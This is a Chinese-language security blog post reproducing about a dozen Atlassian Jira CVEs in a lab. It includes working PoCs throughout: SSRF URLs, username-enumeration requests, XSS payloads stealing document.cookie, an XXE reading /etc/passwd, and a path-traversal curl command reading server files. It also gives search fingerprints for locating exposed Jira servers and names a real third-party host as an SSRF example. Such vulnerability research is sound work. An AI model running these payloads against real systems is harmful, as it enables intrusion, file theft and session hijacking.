Atlassian Jira漏洞大杂烩

Posted by caiqiqi on 2019-11-03

Jira SSRF跳转漏洞(CVE-2017-9506)

受影响版本:
Jira < 7.3.5

jira安装参考:https://blog.csdn.net/caiqiiqi/article/details/89017806
安装jira-6.4.14版本:
https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-6.4.14.tar.gz
漏洞点:Atlassian OAuth plugin
漏洞测试方法:不需要登录的情况下,访问

https://%basepath%/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.google.nl

参考:http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html
在这里插入图片描述

调试

根据文章中的描述,漏洞点在:IconUriServlet。
从jar包中找字符串:

grep -irn "iconuri" `find .|grep .jar`

也可以定位到./atlassian-jira/WEB-INF/atlassian-bundled-plugins/atlassian-oauth-service-provider-plugin-1.9.8.jar
atlassian-jira-6.4.14-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/atlassian-oauth-service-provider-plugin-1.9.8.jar!/com/atlassian/oauth/serviceprovider/internal/servlet/user/IconUriServlet.classdoGet()方法下断点。

在这里插入图片描述

jira的特征:

X-AUSERNAME: anonymous
X-AUSERNAME: anonymous org:"Amazon.com" -- For aws
X-AUSERNAME: anonymous org:"Microsoft Azure" -- For Azure
X-AUSERNAME: anonymous org:"google" -- For Google

一些SSRF跳转的例子:
https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://www.baidu.com
在这里插入图片描述

参考

cnnvd上发布了几个jira的漏洞,都是中低危的:
https://mp.weixin.qq.com/s/cylzALSdMPud5-hXqo4mKA
后来才看到这几个漏洞是Talos发现的:
https://blog.talosintelligence.com/2019/09/vuln-spotlight-atlassian-jira-sept-19.html
大量jira的bug漏洞可以参考这里:
https://jira.atlassian.com/browse/JRASERVER-69858?filter=13085
jira的各种REST API文档:
https://docs.atlassian.com/software/jira/docs/api/REST/7.13.0/

CVE-2019-3403:信息泄露(用户名枚举)

The /rest/api/2/user/picker rest resource in Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to enumerate usernames via an incorrect authorisation check.

触发处在创建问题的时候,选择报告人:
参考:https://jira.atlassian.com/browse/JRASERVER-69787
在这里插入图片描述
还有其他地方都可以调用这个rest接口:
在这里插入图片描述

提供正常登录凭据情况下

可以通过模糊匹配搜索到相关用户的邮箱,及全名等
在这里插入图片描述

未授权情况下

对于没有搜索到到用户:
在这里插入图片描述
对于搜索到到用户:
在这里插入图片描述
可以进行用户名枚举,不过一般wiki在内网的话,可能就是一个正常的功能。

CVE-2019-11584: XSS

The MigratePriorityScheme resource in Jira before version 8.3.2 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the priority icon url of an issue priority.

CVE-2019-11589: open redirect

The ChangeSharedFilterOwner resource in Jira before version 7.13.6, from version 8.0.0 before version 8.2.3, and from version 8.3.0 before version 8.3.2 allows remote attackers to attack users, in some cases be able to obtain a user’s Cross-site request forgery (CSRF) token, via a open redirect vulnerability.

CVE-2019-8446:信息泄露(用户名枚举)

The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.

这个REST API是在issue Navigator中查询issue的时候用到的。
在这里插入图片描述
一般请求长这样:
在这里插入图片描述

未复现成功:
在这里插入图片描述

需要提供登录凭据:
在这里插入图片描述

参考:
https://jira.atlassian.com/browse/JRASERVER-41100

后来参考talos的漏洞报告:
https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839
才知道这里的payload应该这样写:

POST /rest/issueNav/1/issueTable HTTP/1.1
Host: jira.com
User-Agent: Mozilla/5.0
Connection: close
X-Atlassian-token: no-check
Cookie: jira.editor.user.mode=wysiwyg; JSESSIONID=05A9A04CC5F6D76AAB77D054E4FD181C
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
jql=project in projectsLeadByUser("your_username")

如果这个用户名存在,则会响应200,
在这里插入图片描述
若不存在则会响应400。
在这里插入图片描述
需要具有查询权限的账号。

CVE-2019-8444 存储型XSS

影响版本:
< 7.13.6,
8.0.0 <= version < 8.3.2

参考:https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0833

在这里插入图片描述
两种payload都是向:

POST /rest/api/2/issue/TEST-7/comment HTTP/1.1
Content-Type: application/json
{"body":"!image.png|width=\\\" onmouseover=alert(333);//!"}

第二种:

POST /rest/api/2/issue/TEST-7/comment HTTP/1.1
Content-Type: application/json
{"body":"!image.png|width=http://onmouseover=alert(42&#x29;;//!"}

CVE-2017-5983:[Jira]Workflow Designer插件XXE/RCE

官方公告:
https://confluence.atlassian.com/jira/jira-security-advisory-2017-03-09-879243455.html

更多信息参考:
https://nvd.nist.gov/vuln/detail/CVE-2017-5983
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201704-296

影响版本:

4.2.4 <= version < 6.3.0

漏洞描述:

Atlassian JIRA Server 6.3.0之前的版本中的JIRA Workflow Designer插件存在安全漏洞,该漏洞源于程序没有正确的使用XML过滤器和反序列化转换器。远程攻击者可借助特制的序列化Java对象利用该漏洞执行任意代码,读取任意文件或造成拒绝服务。

CVE-2019-8442:[Jira]未授权敏感信息泄露

只是urlrewrite,不是那种直接读文件的,所以如果请求jsp的话,不会返回源码。只能读到一些不敏感的配置文件,所以影响比较低。

问题在于CachingResourceDownloadRewriteRule:

CVE-2019-8442:
https://jira.atlassian.com/browse/JRASERVER-69241

官方描述:

The CachingResourceDownloadRewriteRule class in Jira before version 7.13.4, and from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 allows remote attackers to access files in the Jira webroot under the META-INF directory via a lax path access check.

CNNVD描述:

Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统。该系统主要用于对工作中各类问题、缺陷进行跟踪管理。
Atlassian Jira 7.13.4之前版本、8.0.4之前版本和8.1.1之前版本中的CachingResourceDownloadRewriteRule类存在安全漏洞。远程攻击者可利用该漏洞访问Jira webroot中的文件。

参考:http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201905-896

插件下载:
http://central.maven.org/maven2/org/tuckey/urlrewritefilter/4.0.3/urlrewritefilter-4.0.3.jar

其实在lib目录下有。
UrlRewriteFilter

It is a very powerful tool just like Apache’s mod_rewrite.

bug bounty作者描述漏洞细节:

the application takes input from the user, and uses it to build a file path to which the user is forwarded. Since the user controls a part of that path, they may be able to direct themselves to sensitive files, like /META-INF/*, application code, or configuration files, which may contain passwords.

只是把用户提供的url在服务端重写了一下,只能访问一些META-INFO目录下的配置文件,jsp的话不能访问源码。
参考:https://www.cnblogs.com/dennisit/p/3177108.html

Demo

然而并不能访问WEB-INF目录下的文件。

附录

jenkins的基础设施也存在这个问题:
https://issues.jenkins-ci.org/s/thiscanbeanythingyouwant/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml

confluence之前爆过这个urlrewrite.xml的任意配置文件读取漏洞:
https://www.exploit-db.com/exploits/39170
不过应该后来一起被修复了。
有人提供了一份源码,从注释里看,这里就是为了防止路径穿越的。

CVE-2018-14383:[jira] “The Scheduler” app 5.1.3 for Jira allows XXE

参考:
https://nvd.nist.gov/vuln/detail/CVE-2018-14383
https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2018-022_jira_plugin_the_scheduler.txt

安装插件:

在这里插入图片描述

引入xml文件

Administration > Add-ons > Import Scheduled Issues

在这里插入图片描述

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE Document [
<!ENTITY c SYSTEM "/etc/passwd">
]>
<TheSchedulerBackup xmlns="http://www.tt.com.pl">
<BackupInformation>
<JiraVersion>7.7.0</JiraVersion>
<PluginVersion>5.1.3</PluginVersion>
<BackupVersion>2.0</BackupVersion>
<BackupCreator>Administrator</BackupCreator>
<BackupTime>Jun 19, 2018 11:55:11 AM</BackupTime>
<ExportType>all</ExportType>
<SkipDisabled>false</SkipDisabled>
<SkipInvalid>false</SkipInvalid>
</BackupInformation>
<TheSchedulerData>
<ScheduledIssueElement>
<name>Compass Security Test</name>
[CUT]
<ParamElement>
<paramName>description</paramName>
<paramValue>&c;</paramValue>
</ParamElement>
[CUT]
</ScheduledIssueElement>
</TheSchedulerData>
</TheSchedulerBackup>

CVE-2019-3402:[Jira]XSS in the labels gadget

https://jira.test.com/secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=x2rnu%3Cscript%3Ealert(1)%3C%2fscript%3Et1nmk&Search=Search
ConfigurePortalPages.jspa

页面的searchOwnerUserName参数的反射型XSS。

在这里插入图片描述
需要对searchOwnerUserName进行过滤。

参考

CVE-2019-3400:[Jira]XSS in the labels gadget

PoC:

http://cqq.com:8091/plugins/servlet/gadgets/ifr?url=http://cqq.com:8091/rest/gadgets/1.0/g/com.atlassian.jira.gadgets:labels-gadget/gadgets/labels-gadget.xml&up_projectid=../../../../../rest/gadget/1.0/issueTable/jql%3fjql=issuekey%253e1%2520OR%2520issuekey%2521=%2522%253cimg%2520src=x%2520onerror=alert(document.cookie)%253e%2522%26&up_isConfigured=true

在这里插入图片描述

首先,这个ifr这个gadget的功能就是跟上一个url参数,然后载入这个url页面:

http://cqq.com:8091/plugins/servlet/gadgets/ifr?url=

然后

http://cqq.com:8091/rest/gadget/1.0/issueTable/jql?jql=issuekey%3E1%20OR%20issuekey%21=%22%3Cimg%20src=x%20onerror=alert(document.cookie)%3E%22

issueTable这个gadget会反射用户的输入,由于响应的Content-Type为application/json,不能直接利用。
在这里插入图片描述
然后,

http://cqq.com:8091/rest/gadgets/1.0/g/com.atlassian.jira.gadgets:labels-gadget/gadgets/labels-gadget.xml

可以直接访问,而且其中有一段:
在这里插入图片描述

We can actually control the this.getPref("projectid") since the ifr-gadget allows you to provide parameters called up_X where X could be projectid and this.getPref("projectid") would then return that information.

参考

CVE-2018-20824:[Jira]XSS in WallboardServlet through the cyclePeriod parameter

PoC:

/plugins/servlet/Wallboard/?dashboardId=10100&dashboardId=10101&cyclePeriod=(function(){alert(document.cookie);return%2030000;})()&transitionFx=none&random=true

步骤:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
查看前端源码,搜索关键字:
AJS.WALLBOARD.cycleOptions
在这里插入图片描述
但是利用条件是

if (AJS.WALLBOARD.wallboards.children().size() >= 2)

即存在两个或以上的wallboards。

参考

CVE-2019-9005:[Jira]路径穿越The Cprime Power Scripts app

影响版本:
Cprime Power Scripts app < 4.0.14
CVSS v3分数:6.5

漏洞描述:

The Power Scripts addon implements a REST API which offers several endpoints for different functionalities. The wfviewer/filecheck and wfviewer/filecontent endpoints, which are used by administrators to check and read local files were found to not check the authorization of the calling user, allowing any authenticated user to probe for and read files from the JIRA server filesystem.

未做好权限控制,导致任意认证的用户访问/读取JIRA服务器文件系统的任意文件。

环境搭建:
这个插件是下载到jira的home目录下。
在这里插入图片描述

现在刚下载的这个最新版的插件是不存在漏洞的。要找存在漏洞的版本,需要去:
https://marketplace.atlassian.com/apps/43318/power-scripts-jira-script-automation/version-history

在这里插入图片描述

安装

cp power-scripts-4.0.13-r20180321150605.jar /Users/caiqiqi/jiraHome-7.13.0/plugins/installed-plugins/

完成之后(实际是我从官网下载的)使用以下命令,这里的用户名密码是普通用户的,使用-u参数,可以将用户名密码进行base64编码,作为HTTP头,

curl -s -u dev2:dev2 "http://cqq.com:8091/rest/keplerrominfo/jjupin/2.0/wfviewer/filecontent?path=/etc/hosts"

PoC来源:https://www.detack.de/en/cve-2019-9005
实际发出的请求为:

GET /rest/keplerrominfo/jjupin/2.0/wfviewer/filecontent?path=/etc/hosts HTTP/1.1
Host: cqq.com:8091
Authorization: Basic ZGV2MjpkZXYy
User-Agent: curl/7.54.0
Accept: */*
Connection: close

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
使用

Files.readAllBytes(Paths.get(filePath))

得到指定路径的文件内容,然后将其中的\n替换成<br>,然后放到响应中返回。

CVE-2018-13404:[Jira]VerifyPopServerConnection功能SSRF

来源:https://jira.atlassian.com/browse/JRASERVER-68527
描述为:

allows remote attackers who have administrator rights to determine the existence of internal hosts & open ports and in some cases obtain service information from internal network resources via a Server Side Request Forgery (SSRF) vulnerability

由于需要管理员权限才能利用,危害较低,只有4分:
在这里插入图片描述
在这里插入图片描述

POST /secure/admin/VerifySmtpServerConnection!add.jspa HTTP/1.1
Host: cqq.com:8091
Content-Length: 300
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3760.0 Safari/537.36
Cookie: NX-ANTI-CSRF-TOKEN=909f8912-966b-4146-845c-bd4afbb342a9; JSESSIONID.a8dacec0=40k4rm1bg41cq0iz0pk06mw; screenResolution=1680x1050; jenkins-timestamper-offset=-28800000; JSESSIONID.ea565973=node0gs7qzwbwbve61rkcov30n71s56.node0; JSESSIONID.7fff2687=node0qm94g8n471v01guwzr3cy7gur6.node0; JSESSIONID.97de572c=1sd5yqku2s4amea1xvrtr6t8q; pgv_info=ssid=s2748431704; pgv_pvid=2487547493; ts_uid=9932210140; ADMINCONSOLESESSION=n1FCcBGb0SJfNrcMQhps1LXycQWMpvVhwQKn123nzbs1xqS6hbvf!1714415663; atlassian.xsrf.token=BBAN-C0N2-UEHO-M2OJ_7978bcc6c6a3a10bcc73fd8d695f73c34f82fb40_lin; AJS.conglomerate.cookie="|hipchat.inapp.links.first.clicked.cqq=false"; JSESSIONID=F2B9D75D0B3108F1E70D18CD81CFBD28
Connection: close
name=testSMTP&description=testSMTP&from=admin%40cqq.com&prefix=mdl_&serviceProvider=custom&protocol=smtp&serverName=192.168.170.139&port=4444&timeout=10000&username=cqq&changePassword=true&password=cqq&jndiLocation=&type=smtp&atl_token=BBAN-C0N2-UEHO-M2OJ_7978bcc6c6a3a10bcc73fd8d695f73c34f82fb40_lin

若不提供管理员Cookie无法利用:
在这里插入图片描述

参考了一下jira的开发文档,知道了一般url后缀对应的是do某方法,然后url前面的是对应的Java的类,所以可以在
atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/jira-mail-plugin-10.0.13.jar!/com/atlassian/jira/plugins/mail/webwork/VerifySmtpServerConnection#doAdd
下断点。

调用栈如下:
在这里插入图片描述
最终调用atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/base-hipchat-integration-plugin-7.10.3.jar!/javax/mail/Service#connect调用这一句:

connected = this.protocolConnect(host, port, user, password);

参考:https://docs.oracle.com/javaee/7/api/javax/mail/Service.html#connect-java.lang.String-int-java.lang.String-java.lang.String-

在这里插入图片描述
完成TCP请求.